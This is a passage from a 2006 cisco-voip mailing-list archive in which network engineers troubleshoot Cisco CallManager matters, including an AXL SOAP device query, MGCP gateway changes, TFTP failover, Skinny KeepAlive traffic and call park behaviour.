http://www.pch.net/resources/tutorials/anycast/Anycast-v10.pdf
 

	-----Original Message----- 
	From: cisco-voip-bounces at puck.nether.net on behalf of Mendoza, Anthony R 
	Sent: Wed 2/1/2006 9:32 AM 
	To: Wes Sisk 
	Cc: Cisco VoIP 
	Subject: RE: [cisco-voip] Catalyst 6608 T1 module
	
	

	That's what I thought :( someone had an idea for a clustered TFTP server
	config..  that's an idea, but doesn't give me dual sites to be able to
	grab from.  Oh well.
	
	Thanks for all the suggestions.
	
	-Anthony
	-----Original Message-----
	From: Wes Sisk [mailto:wsisk at cisco.com]
	Sent: Tuesday, January 31, 2006 10:42 PM
	To: Mendoza, Anthony R
	Cc: Cisco VoIP
	Subject: Re: [cisco-voip] Catalyst 6608 T1 module
	
	not possible with static config.  CSCea68405.
	only option is DHCP.
	
	/Wes
	
	On Jan 31, 2006, at 5:03 PM, Mendoza, Anthony R wrote:
	
	All,
	
	Is there a way to assign multiple TFTP servers in a config on a 6608
	when running CatOS and not using DHCP?  I find when I'm going a static
	IP configuration that I can only assign a single TFTP server which
	doesn't give me much failover in a situation where I lose a CCM and for
	some reason the device resets (such as a power outage).  I'd be forced
	to go re-configure it in order to receive it's configuration.  Any way
	around that hassle?
	
	Thanks,
	-Anthony
	_______________________________________________
	cisco-voip mailing list
	cisco-voip at puck.nether.net
	https://puck.nether.net/mailman/listinfo/cisco-voip
	
	
	_______________________________________________
	cisco-voip mailing list
	cisco-voip at puck.nether.net
	https://puck.nether.net/mailman/listinfo/cisco-voip
	



From cerioli at alternet.it  Wed Feb  1 10:43:06 2006
From: cerioli at alternet.it (Andrea Cerioli)
Date: Wed Feb  1 10:43:36 2006
Subject: [cisco-voip] Retrieving device information from CISCO
In-Reply-To: <6EE053013F00084096AF0F02CFDB88B85245C0@securemail.metreos.com>
References: <6EE053013F00084096AF0F02CFDB88B85245C0@securemail.metreos.com>
Message-ID: <43E0D70A.7000101@alternet.it>


Ouch! What a shame!
Thanks a lot.
We are now happily querying the CallManager via AXL getting
all sort of informations in near real time  ... :)

Ciao.

Seth Call wrote:
> Hey there Andrea,
> 
> I believe the problem is:
> 
> SOAPAction:
> "http://schemas.cisco.com/ast/soap/action/#RisPort#SelectCmDevices"
> 
> Should be 
> 
> SOAPAction:
> "http://schemas.cisco.com/ast/soap/action/#RisPort#SelectCmDevice"
> 
> 
> -----Original Message-----
> From: cisco-voip-bounces at puck.nether.net
> [mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Andrea Cerioli
> Sent: Wednesday, February 01, 2006 9:01 AM
> To: cisco-voip at puck.nether.net
> Subject: RE: [cisco-voip] Retrieving device information from CISCO
> 
> Thanks to Alex for the code.
> Unfortunately it is not working for us.
> Our Callmanager is 4.1(3).
> 
> See below our version of the AXL query and the response.
> The error is:
> "Operation name in body entry is not consistent with the
>   one specified in SOAPAction"
> 
> Removing the header "Connection: close" the query lasts forever.
> 
> 
> What am I missing?
> 
> Query
> ================================
> 
> POST /soap/astsvc.dll HTTP/1.1
> Host: 10.89.5.2
> User-Agent: Mozilla/4.0
> Content-Type: text/xml; charset=utf-8
> SOAPAction:
> "http://schemas.cisco.com/ast/soap/action/#RisPort#SelectCmDevices"
> Authorization: Basic =============================
> Content-Length: 1514
> Expect: 100-continue
> Connection: close
> 
> 
> 
> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
> xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"
> xmlns:tns="http://schemas.cisco.com/ast/soap/"
> xmlns:types="http://schemas.cisco.com/ast/soap/encodedTypes"
> xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
> xmlns:xsd="http://www.w3.org/2001/XMLSchema">
>      <soap:Header>
>           <tns:AstHeader id="id1">
>                <SessionId
> xsi:type="xsd:string">10.89.5.2-20060201020721</SessionId>
>           </tns:AstHeader>
>      </soap:Header>
>      <soap:Body
> soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
>           <tns:SelectCmDevice>
>                <CmSelectionCriteria href="#id1"/>
>           </tns:SelectCmDevice>
>           <tns:CmSelectionCriteria id="id1"
> xsi:type="tns:CmSelectionCriteria">
>                <MaxReturnedDevices
> xsi:type="xsd:unsignedInt">10</MaxReturnedDevices>
>                <Class xsi:type="tns:DeviceClass">Phone</Class>
>                <Model xsi:type="xsd:unsignedInt">0</Model>
>                <Status xsi:type="tns:CmDevRegStat">Any</Status>
>                <SelectBy xsi:type="tns:CmSelectBy">Name</SelectBy>
>                <SelectItems href="#id2"/>
>           </tns:CmSelectionCriteria>
>           <soapenc:Array id="id2" soapenc:arrayType="tns:SelectItem[1]">
>                <Item href="#id3"/>
>           </soapenc:Array>
>           <tns:SelectItem id="id3" xsi:type="tns:SelectItem">
>                <Item xsi:type="xsd:string">SEP000D29CEC9A0</Item>
>           </tns:SelectItem>
>      </soap:Body>
> </soap:Envelope>
> 
> 
> 
> Response:
> ================================
> 
> HTTP/1.1 100 Continue
> Server: Microsoft-IIS/5.0
> Date: Wed, 01 Feb 2006 14:05:32 GMT
> 
> HTTP/1.1 500 ERROR
> Server: Microsoft-IIS/5.0
> Date: Wed, 01 Feb 2006 14:05:32 GMT
> Connection: close
> X-Application: XXX
> Expires: Sat, 1 Jan 2000 00:00:01 GMT
> Cache-Control: No-Cache
> Pragma: No-Cache
> Connection: Keep-Alive
> Content-Type: text/xml; charset="utf-8"
> Content-Length: 1002
> 
> <?xml version="1.0" encoding="UTF-8" standalone="no"?><SOAP-ENV:Envelope
> SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
> xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
> xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Bod
> y><SOAP-ENV:Fault><faultcode>SOAP-ENV:Client</faultcode><faultstring>Ope
> ration
> name in body entry is not consistent with the one specified in
> SOAPAction
> header</faultstring><detail><m:ErrorInfo
> xmlns:m="http://schemas.cisco.com/ast/soap/"><Version>3.2.0.7</Version><
> Time>02/01/2006
> -
> 15:05:32</Time><ProcId>2016</ProcId><ThreadId>1928</ThreadId><ArrayOfCal
> lInfo
> SOAP-ENC:arrayType='m:CallInfoType[]'><CallInfo><FileName>D:\Builds\ESBU
> ILD_4.1.3.sr.2\ccm_sw\Projects\AST\ISAPI\server\soap\service\astsvc\asts
> vc.cpp</FileName><LineNo>422</LineNo><ErrorCode>0</ErrorCode><Function>l
> strcmp</Function><Params>SelectCmDevice</Params></CallInfo></ArrayOfCall
> Info></m:ErrorInfo></detail></SOAP-ENV:Fault></SOAP-ENV:Body></SOAP-ENV:
> Envelope>
> 
> 
> 
> 
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
> 

-- 
| Andrea Cerioli               alter.net Srl              |
| e-mail: cerioli at alter.it     Via Attilio Ambrosini, 177 |
| VOICE: +39-6-5405740         I-00147 Rome               |
| FAX:   +39-6-5405883         Italy                      |


From Ruben.Montes at eu.didata.com  Wed Feb  1 11:31:51 2006
From: Ruben.Montes at eu.didata.com (Ruben Montes (EU))
Date: Wed Feb  1 11:31:55 2006
Subject: [cisco-voip] Applying mgcp changes
Message-ID: <D305A0848689344BB98F14A3F13161B705B1DF@eubebrusvex.eu.didata.local>

Hi,

if I'm not using the ccm-manager config and ccm-manager config server commands, when I do a change in the CCM MGCP endpoint page and I reset the gateway, is this change applied in the gateway?

I want to change the call classification from 'Use system default' to 'OnNet'. How could I now if changes have been correctly propagated?

Thanks in advance,

Regards,

Ruben

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From plong at metreos.com  Wed Feb  1 12:04:50 2006
From: plong at metreos.com (Paul Long)
Date: Wed Feb  1 12:04:58 2006
Subject: [cisco-voip] port 2000 is getting slamed from IP phone
Message-ID: <6EE053013F00084096AF0F02CFDB88B85245D2@securemail.metreos.com>

James,

 

Besides the normal Skinny call-signaling traffic on port 2000, there is
a heart-beat mechanism (KeepAlive/KeepAliveAck) that may be generating
the unexpected traffic you're seeing. The CallManager tells the phones
how often to send KeepAlive. Maybe someone accidentally changed it from
the default of 30 seconds to something like 1 second, or maybe you're
just seeing normal chattiness. Make sure KeepAlive frequency is set to
at least 30. Setting it to 60 probably wouldn't hurt if the amount of
traffic bothers you.

 

Here is where the setting is located on CCM 4.1:

Service | Service Parameters | Cisco CallManager | Station KeepAlive
Interval

 

Paul

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of James Grace
Sent: Monday, January 31, 2005 2:56 PM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] port 2000 is getting slamed from IP phone

 

We have ip phones out in the field,  and for about a week we found that
we are getting crazy amount of traffic from these phones hitting port
2000

 

We are running  4.1.2 es41

 

James D. Grace 

CCNP CCNA MCSE MCDBA

Sr. System Engineer / Professional Svc.

Digitel Corporation

 

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From rratliff at cisco.com  Wed Feb  1 12:18:54 2006
From: rratliff at cisco.com (Ryan Ratliff)
Date: Wed Feb  1 12:18:51 2006
Subject: [cisco-voip] Applying mgcp changes
In-Reply-To: <D305A0848689344BB98F14A3F13161B705B1DF@eubebrusvex.eu.didata.local>
References: <D305A0848689344BB98F14A3F13161B705B1DF@eubebrusvex.eu.didata.local>
Message-ID: <05965A2E-04D6-4B13-B763-F7F13F3F04AC@cisco.com>

'no mgcp' and then 'mgcp' on the router to reset the gateway.  This  
will drop active calls AFAIK.

-Ryan

On Feb 1, 2006, at 11:31 AM, Ruben Montes ((EU)) wrote:

Hi,

if I'm not using the ccm-manager config and ccm-manager config server  
commands, when I do a change in the CCM MGCP endpoint page and I  
reset the gateway, is this change applied in the gateway?

I want to change the call classification from 'Use system default' to  
'OnNet'. How could I now if changes have been correctly propagated?

Thanks in advance,

Regards,

Ruben

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From SPackett at fenwick.com  Wed Feb  1 14:30:00 2006
From: SPackett at fenwick.com (Stu Packett)
Date: Wed Feb  1 14:30:12 2006
Subject: [cisco-voip] Block Incoming Calls
Message-ID: <965C0255FD5828438E34F9A68ECA76E740A962@svcexch02.firm.fenwick.llp>

Does anyone have a MGCP and H.323 sample config to block inbound calls
based on the calling number?

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of James Dust
Sent: Wednesday, February 01, 2006 7:34 AM
To: Ortiz, Carlos; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] Block Incoming Calls


Correct.

________________________________

From: Ortiz, Carlos [mailto:CORTIZ at broward.org] 
Sent: 01 February 2006 15:30
To: James Dust; cisco-voip at puck.nether.net
Cc: rratliff at cisco.com
Subject: RE: [cisco-voip] Block Incoming Calls



I have MGCP gateways.  I imagine this refers to H.323.....

 

________________________________

From: James Dust [mailto:james.dust at charles-stanley.co.uk] 
Sent: Wednesday, February 01, 2006 10:26 AM
To: Ortiz, Carlos; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] Block Incoming Calls

 

You could try setting up a 'voice translation-rule' on the gateway, and
then set it to reject the number.

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Ortiz, Carlos
Sent: 01 February 2006 15:18
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] Block Incoming Calls

Is there an easy way to block INBOUND calls based on the calling number?
I imagine I could set this up with the telco but I would prefer to do it
if possible.....  

 


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Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of Charles
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Authorised and Regulated by the Financial Services Authority, Member of
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This footnote also confirms that this email message has been swept by
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The information contained in this e-mail is strictly confidential, some
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Access to this e-mail by any other person is prohibited. If you are not
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You accept that any instructions are deemed to have been given at the
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acknowledgement or receipt by the intended recipient(s). You accept that
there
may be a delay in processing the instructions received from e-mails
after
Charles Stanley has received them. You are advised that urgent, time
sensitive
and confidential communications should not be sent by e-mail. 

You acknowledge that e-mails are not secure and you accept the risk of
malfunction, viruses, unauthorised interference, mis-delivery or delay.
************************************************************************
************************


Charles Stanley & Co. Ltd
Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of Charles
Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member of
the
London Stock Exchange, International Securities Markets Association, and
The London International Financial Futures &
Options Exchange.

This footnote also confirms that this email message has been swept by
McAfee
VirusScan and SurfControl Email Filter software.
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IRS Circular 230  Disclosure:  To ensure compliance with requirements imposed by the IRS, we inform you that any U.S. federal tax advice in this communication (including attachments) is not intended or written by Fenwick & West LLP to be used, and cannot be used, for the purpose of (i) avoiding penalties under the Internal Revenue Code or (ii) promoting, marketing, or recommending to another party any transaction or matter addressed herein.
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From jcampbell at ci.davidson.nc.us  Wed Feb  1 14:54:20 2006
From: jcampbell at ci.davidson.nc.us (Campbell, Jeremy)
Date: Wed Feb  1 14:51:41 2006
Subject: [cisco-voip] CCM software updates
Message-ID: <F81B53847D3DC945A55B555B5555CC797D6908@davnc03.ci.davidson.nc.us>

I have a CCM server at win-OS-Upgrade-K9.2000-2-6sr4.  Can I just
install the latest OS upgrade or I there a path?

 

Thanks,

j

 

________________________________________ 
Jeremy P. Campbell 
Information Systems Director 
Town of Davidson, NC 
704-940-9632 - voice direct 
704-892-7591 - voice main 
704-892-3971 - fax 

jcampbell at ci.davidson.nc.us

 

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From jafar at paris.com  Wed Feb  1 15:13:18 2006
From: jafar at paris.com (Jafar T)
Date: Wed Feb  1 15:14:12 2006
Subject: [cisco-voip] OS service release
Message-ID: <20060201201318.5445A101DA@ws1-3.us4.outblaze.com>

Hi, how do you find out the OS service release on a CER server, and
UNITY, is there a tool similar to the OS version tool in the CCM, the add
remove programs, and the property option on my computer is confusing, I
just need the name off of these two servers such as what I find in the OS
version option in the startup menu of the ccm: example2000-2-5sr5 ...etc
thx

-- 
___________________________________________________
Play 100s of games for FREE! http://games.mail.com/

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From rratliff at cisco.com  Wed Feb  1 15:31:02 2006
From: rratliff at cisco.com (Ryan Ratliff)
Date: Wed Feb  1 15:31:02 2006
Subject: [cisco-voip] CCM software updates
In-Reply-To: <F81B53847D3DC945A55B555B5555CC797D6908@davnc03.ci.davidson.nc.us>
References: <F81B53847D3DC945A55B555B5555CC797D6908@davnc03.ci.davidson.nc.us>
Message-ID: <F1CBE088-21DC-43CE-80F5-B0A9FED587F0@cisco.com>

Take a look at the readme for OS 200.4.2 and you will see that it  
requires 2000.2.7.   Thus, you need to install 2000.2.7 (ignore SRs)  
and then you can go to 200.4.2.

-Ryan

On Feb 1, 2006, at 2:54 PM, Campbell, Jeremy wrote:

I have a CCM server at win-OS-Upgrade-K9.2000-2-6sr4.  Can I just  
install the latest OS upgrade or I there a path?



Thanks,

j



________________________________________
Jeremy P. Campbell
Information Systems Director
Town of Davidson, NC
704-940-9632 - voice direct
704-892-7591 - voice main
704-892-3971 - fax

jcampbell at ci.davidson.nc.us



_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From rratliff at cisco.com  Wed Feb  1 15:32:45 2006
From: rratliff at cisco.com (Ryan Ratliff)
Date: Wed Feb  1 15:40:36 2006
Subject: [cisco-voip] OS service release
In-Reply-To: <20060201201318.5445A101DA@ws1-3.us4.outblaze.com>
References: <20060201201318.5445A101DA@ws1-3.us4.outblaze.com>
Message-ID: <6AB0D53F-9BF1-40D4-AC1C-8A6A9A00DDA6@cisco.com>

Unity doesn't use the CM OS build, so ignore it.

CER does use the CM OS and thus if you don't have the Cisco OS  
Version link in your start menu it should be upgraded.
On any CM OS build you can run c:\utils\mcsver or c:\sti\stiver  
(depending on how old the OS is) to see what OS version is installed.

-Ryan

On Feb 1, 2006, at 3:13 PM, Jafar T wrote:

Hi,
how do you find out the OS service release on a CER server, and UNITY,
is there a tool similar to the OS version tool in the CCM,

the add remove programs, and the property option on my computer is  
confusing, I just need the name off of these two servers such as what  
I find in the OS version option in the startup menu of the ccm: example
2000-2-5sr5 ...etc


thx

--
___________________________________________________
Play 100s of games for FREE! http://games.mail.com/

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From ealeatherman at gmail.com  Wed Feb  1 15:41:21 2006
From: ealeatherman at gmail.com (Ed Leatherman)
Date: Wed Feb  1 15:41:24 2006
Subject: [cisco-voip] OS service release
In-Reply-To: <20060201201318.5445A101DA@ws1-3.us4.outblaze.com>
References: <20060201201318.5445A101DA@ws1-3.us4.outblaze.com>
Message-ID: <94a1afde0602011241n4578f8a0p51b94fd77456c965@mail.gmail.com>

I dont think there is any particular patch level with UNITY.. you can get
the latest recommended MS patches from CCO but its just a zip file with all
teh individual updates. You could possibly use a third party tool like
hfnetchk or MS's baseline patch tool (MBSA I _think_) to analyze what
patches you need to install.

CER uses the same OS as callmanager.. my install just has the same version
tool so its easy to check what patch level is running. I usually just update
the SRs for it at the same time we patch callmanager's OS.

Ed

On 2/1/06, Jafar T <jafar at paris.com> wrote:
>
> Hi,
> how do you find out the OS service release on a CER server, and UNITY,
> is there a tool similar to the OS version tool in the CCM,
>
> the add remove programs, and the property option on my computer is
> confusing, I just need the name off of these two servers such as what I find
> in the OS version option in the startup menu of the ccm: example
> 2000-2-5sr5 ...etc
>
>
> thx
>
> --
>
> ___________________________________________________
> Play 100s of games for FREE! http://games.mail.com/
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
>
>


--
Ed Leatherman
IP Telephony Coordinator
West Virginia University
Telecommunications and Network Operations
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From Court.Schuett at us.millwardbrown.com  Wed Feb  1 16:38:55 2006
From: Court.Schuett at us.millwardbrown.com (Schuett, Court (MBNAP it))
Date: Wed Feb  1 16:39:07 2006
Subject: [cisco-voip] Single CCM, Multiple Corporate Directories
Message-ID: <90B962BEA7D42F40BF0DF00044A5A1B60CA9B31D@x-np5.am.group.local>

I know this has been asked before but I've been looking through the archives
and can't seem to find it anywhere.  
 
We have a situation where we have a new site that does not want to see the
entire corporate directory, they just want to see the people in their
office.  Is it possible to set up multiple directories or even filter the
results so they only see what they want to see?  
 
We're running CCM 4.1(3) and the directory is not integrated with AD.
 
Thanks!
 
Court Schuett
 
Millward Brown
Network Systems Engineer
630-955-8983
court.schuett at us.millwardbrown.com
<mailto:court.schuett at us.millwardbrown.com> 
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From Leonard at isccorp.net  Wed Feb  1 16:55:21 2006
From: Leonard at isccorp.net (Leonard Lane)
Date: Wed Feb  1 16:55:31 2006
Subject: [cisco-voip] Applying mgcp changes
Message-ID: <D31FF984A9880B44A118184FFD9E7C02D84C26@iscmail.isccorp.net>

Depends on what changes you are doing, but certain changes require IOS
changes on the router, and without the ccm-manager config and servers
setup this will not take place, and need to be done manually. 

The change that you are making does not require any IOS changes, so you
would be fine.  Just check your CDR records and see if they are being
categorized as OnNet.

 

 

 

Leonard Lane

Network Engineer

CCNA, CCDA, CCVP, CCIE #14680, Voice

 

email: leonard at isccorp.net <mailto:pat at isccorp.net> 

support: 866.622.6722

www.isccorp.net <http://www.isccorp.net/> 

 

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Ruben Montes
(EU)
Sent: Wednesday, February 01, 2006 9:32 AM
Cc: cisco-voip at puck.nether.net
Subject: [cisco-voip] Applying mgcp changes

 

Hi,

if I'm not using the ccm-manager config and ccm-manager config server
commands, when I do a change in the CCM MGCP endpoint page and I reset
the gateway, is this change applied in the gateway?

I want to change the call classification from 'Use system default' to
'OnNet'. How could I now if changes have been correctly propagated?

Thanks in advance,

Regards,

Ruben

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From Matt.Slaga at us.didata.com  Wed Feb  1 17:05:54 2006
From: Matt.Slaga at us.didata.com (Matt Slaga (US))
Date: Wed Feb  1 17:06:28 2006
Subject: [cisco-voip] Single CCM, Multiple Corporate Directories
Message-ID: <C1FE15183DA37645BC0633BC604E44F0CBE6CE@USNAEXCH.na.didata.local>

You can use Aptigen's base product which costs just under $1k.  It gives
you several products, one being multiple corporate directories and
corporate speed dials.
 
http://www.aptigen.net
 
Thanks!
Matt Slaga
 


________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Schuett, Court
(MBNAP it)
Sent: Wednesday, February 01, 2006 4:39 PM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] Single CCM, Multiple Corporate Directories


I know this has been asked before but I've been looking through the
archives and can't seem to find it anywhere.  
 
We have a situation where we have a new site that does not want to see
the entire corporate directory, they just want to see the people in
their office.  Is it possible to set up multiple directories or even
filter the results so they only see what they want to see?  
 
We're running CCM 4.1(3) and the directory is not integrated with AD.
 
Thanks!
 
Court Schuett
 
Millward Brown
Network Systems Engineer
630-955-8983
court.schuett at us.millwardbrown.com



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From CORTIZ at broward.org  Wed Feb  1 18:41:18 2006
From: CORTIZ at broward.org (Ortiz, Carlos)
Date: Wed Feb  1 18:42:33 2006
Subject: [cisco-voip] Block Incoming Calls
References: <965C0255FD5828438E34F9A68ECA76E740A962@svcexch02.firm.fenwick.llp>
Message-ID: <26B357EF9FB7D04A989C9E82A9E5436E01367E29@MREXVS01.bc.broward.cty>

I think the ideas that people put out there were for H.323 only.  My telco also says that this is not possible on PRI....bummer :(
 
Carlos

________________________________

From: Stu Packett [mailto:SPackett at fenwick.com]
Sent: Wed 2/1/2006 2:30 PM
To: James Dust; Ortiz, Carlos; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] Block Incoming Calls


Does anyone have a MGCP and H.323 sample config to block inbound calls based on the calling number?

________________________________

From: cisco-voip-bounces at puck.nether.net [mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of James Dust
Sent: Wednesday, February 01, 2006 7:34 AM
To: Ortiz, Carlos; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] Block Incoming Calls


Correct.

________________________________

From: Ortiz, Carlos [mailto:CORTIZ at broward.org] 
Sent: 01 February 2006 15:30
To: James Dust; cisco-voip at puck.nether.net
Cc: rratliff at cisco.com
Subject: RE: [cisco-voip] Block Incoming Calls



I have MGCP gateways.  I imagine this refers to H.323.....

 

________________________________

From: James Dust [mailto:james.dust at charles-stanley.co.uk] 
Sent: Wednesday, February 01, 2006 10:26 AM
To: Ortiz, Carlos; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] Block Incoming Calls

 

You could try setting up a 'voice translation-rule' on the gateway, and then set it to reject the number.

________________________________

From: cisco-voip-bounces at puck.nether.net [mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Ortiz, Carlos
Sent: 01 February 2006 15:18
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] Block Incoming Calls

Is there an easy way to block INBOUND calls based on the calling number? I imagine I could set this up with the telco but I would prefer to do it if possible.....  

 


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The information contained in this e-mail is strictly confidential, some or all
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Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of Charles Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member of the
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From wsisk at cisco.com  Wed Feb  1 20:51:18 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Wed Feb  1 20:51:32 2006
Subject: [cisco-voip] Call Park Issue due to subscriber failing
In-Reply-To: <253FAE7A06B11B49A3A29770B2B8BAFC6481C2@CSEXCH01.charles-stanley.co.uk>
References: <253FAE7A06B11B49A3A29770B2B8BAFC6481C2@CSEXCH01.charles-stanley.co.uk>
Message-ID: <63DF1507-4A52-41D0-9C76-8D46F245C896@cisco.com>

Call Park numbers are per server and the server that is used is the  
server that the call originated on.  So in the case:

PSTN--(PRI)--MGCPGw--(MGCP)--CM1--(SDL)--CM2--IPPhone

When the IPPhone presses PARK, a park number from the CM1 block of  
park numbers is allocated.

When your ipphones re-registered back to CM2, did your MGCP gateway  
rehome back to CM2 as well?

/Wes

On Feb 1, 2006, at 6:57 AM, Nick Kassel wrote:

Yesterday evening we had a hardware failure with one of our  
subscribers, this particular sub has all of our remote sites  
registered to it, it was down for about 5 hours and in the mean time  
we had all phones working off another subscriber, once we had the  
subscriber back up and running, all appeared to be fine. But we now  
have an issue with call park, each site has call park numbers  
associated to each call manager and if they park a call they get a  
call park number but this does not appear on the display for a few  
seconds and they are unable to retrieve that call by dialling the  
park number they get the call can not be completed prompt. Any one  
come across this before?






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Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of  
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From wsisk at cisco.com  Wed Feb  1 20:54:21 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Wed Feb  1 20:54:33 2006
Subject: [cisco-voip] Catalyst 6608 T1 module
In-Reply-To: <51A2C3ED40A3584281444F65BC9026270A8845F4@gvlexch02.gvl.is.l-3com.com>
References: <51A2C3ED40A3584281444F65BC9026270A8845F4@gvlexch02.gvl.is.l-3com.com>
Message-ID: <A88EC017-2AD8-4CDF-B1C2-F4D5D53AF8EF@cisco.com>

Or what about redundant DHCP servers?  each allocating 1/2 of the  
available subnet.

/Wes
On Feb 1, 2006, at 10:19 AM, Fretz, EA Eric @ IS wrote:

You'd still have the failure mode where if you DHCP server chokes and  
the 6608 resets, you'd get no statically assigned DHCP address.

You'd be better off hanging your TFTP server off of a pair of  
clustered servers (or load balanced, at least) and not worry about  
handling the failover in the 6608 card.


-----Original Message-----
From: cisco-voip-bounces at puck.nether.net [mailto:cisco-voip- 
bounces at puck.nether.net] On Behalf Of Matt Slaga (US)
Sent: Tuesday, January 31, 2006 4:19 PM
To: Philip Walenta; Mendoza, Anthony R; Cisco VoIP
Subject: RE: [cisco-voip] Catalyst 6608 T1 module

Use DHCP to push two TFTP servers, but use DHCP reservations to  
obtain your "static" address.


From: cisco-voip-bounces at puck.nether.net [mailto:cisco-voip- 
bounces at puck.nether.net] On Behalf Of Philip Walenta
Sent: Tuesday, January 31, 2006 5:14 PM
To: 'Mendoza, Anthony R'; 'Cisco VoIP'
Subject: RE: [cisco-voip] Catalyst 6608 T1 module

To my knowledge, the 6608 has never supported multiple TFTP servers.

From: cisco-voip-bounces at puck.nether.net [mailto:cisco-voip- 
bounces at puck.nether.net] On Behalf Of Mendoza, Anthony R
Sent: Tuesday, January 31, 2006 4:03 PM
To: Cisco VoIP
Subject: [cisco-voip] Catalyst 6608 T1 module

All,

Is there a way to assign multiple TFTP servers in a config on a 6608  
when running CatOS and not using DHCP?  I find when I'm going a  
static IP configuration that I can only assign a single TFTP server  
which doesn't give me much failover in a situation where I lose a CCM  
and for some reason the device resets (such as a power outage).  I'd  
be forced to go re-configure it in order to receive it's  
configuration.  Any way around that hassle?

Thanks,
-Anthony


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This e-mail communication and any attachments may contain confidential
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From wsisk at cisco.com  Wed Feb  1 20:56:11 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Wed Feb  1 20:56:25 2006
Subject: [cisco-voip] port 2000 is getting slamed from IP phone
In-Reply-To: <6EE053013F00084096AF0F02CFDB88B85245D2@securemail.metreos.com>
References: <6EE053013F00084096AF0F02CFDB88B85245D2@securemail.metreos.com>
Message-ID: <7AD5A01C-B014-46FF-BEBB-5520F1EA27CA@cisco.com>

What is 'crazy amount of traffic' and what is 'the field'.  The  
CallManager SRND recommends ~8kbps for up to 20 phones or something  
that (check the srnd for specifics).  Otherwise, there is the recent  
field notice about possible DoS against port 2000, 2001,2002 on CM.

/Wes

On Feb 1, 2006, at 12:04 PM, Paul Long wrote:

James,



Besides the normal Skinny call-signaling traffic on port 2000, there  
is a heart-beat mechanism (KeepAlive/KeepAliveAck) that may be  
generating the unexpected traffic you?re seeing. The CallManager  
tells the phones how often to send KeepAlive. Maybe someone  
accidentally changed it from the default of 30 seconds to something  
like 1 second, or maybe you?re just seeing normal chattiness. Make  
sure KeepAlive frequency is set to at least 30. Setting it to 60  
probably wouldn?t hurt if the amount of traffic bothers you.



Here is where the setting is located on CCM 4.1:

Service | Service Parameters | Cisco CallManager | Station KeepAlive  
Interval



Paul



From: cisco-voip-bounces at puck.nether.net [mailto:cisco-voip- 
bounces at puck.nether.net] On Behalf Of James Grace
Sent: Monday, January 31, 2005 2:56 PM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] port 2000 is getting slamed from IP phone



We have ip phones out in the field,  and for about a week we found  
that we are getting crazy amount of traffic from these phones hitting  
port 2000



We are running  4.1.2 es41



James D. Grace

CCNP CCNA MCSE MCDBA

Sr. System Engineer / Professional Svc.

Digitel Corporation



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From wsisk at cisco.com  Wed Feb  1 21:01:36 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Wed Feb  1 21:01:50 2006
Subject: [cisco-voip] Applying mgcp changes
In-Reply-To: <D305A0848689344BB98F14A3F13161B705B1DF@eubebrusvex.eu.didata.local>
References: <D305A0848689344BB98F14A3F13161B705B1DF@eubebrusvex.eu.didata.local>
Message-ID: <5AC0E15A-1EF8-42FD-A927-DE7FD3D09D97@cisco.com>

No, changes will not be propagated.

Take a look in the CCM traces at the time you see an error similar to:
MGCPBhHandler 10.1.230.10 - ERROR - MGCPNotificationRequest for  
reset: TCP Mgt not supported by the GW.  Sending MGCP err back to  
reload device. GWTCPOpened=1, GWRegistered=1|<CLID::CM3-Cluster><NID:: 
11.1.235.50><CT::1,100,86,1.25><IP::><DEV::>

Basically indicating CM cannot send the change notification to the  
gateway.

'no mgcp' , 'mgcp'
will be required.

/Wes



On Feb 1, 2006, at 11:31 AM, Ruben Montes ((EU)) wrote:

Hi,

if I'm not using the ccm-manager config and ccm-manager config server  
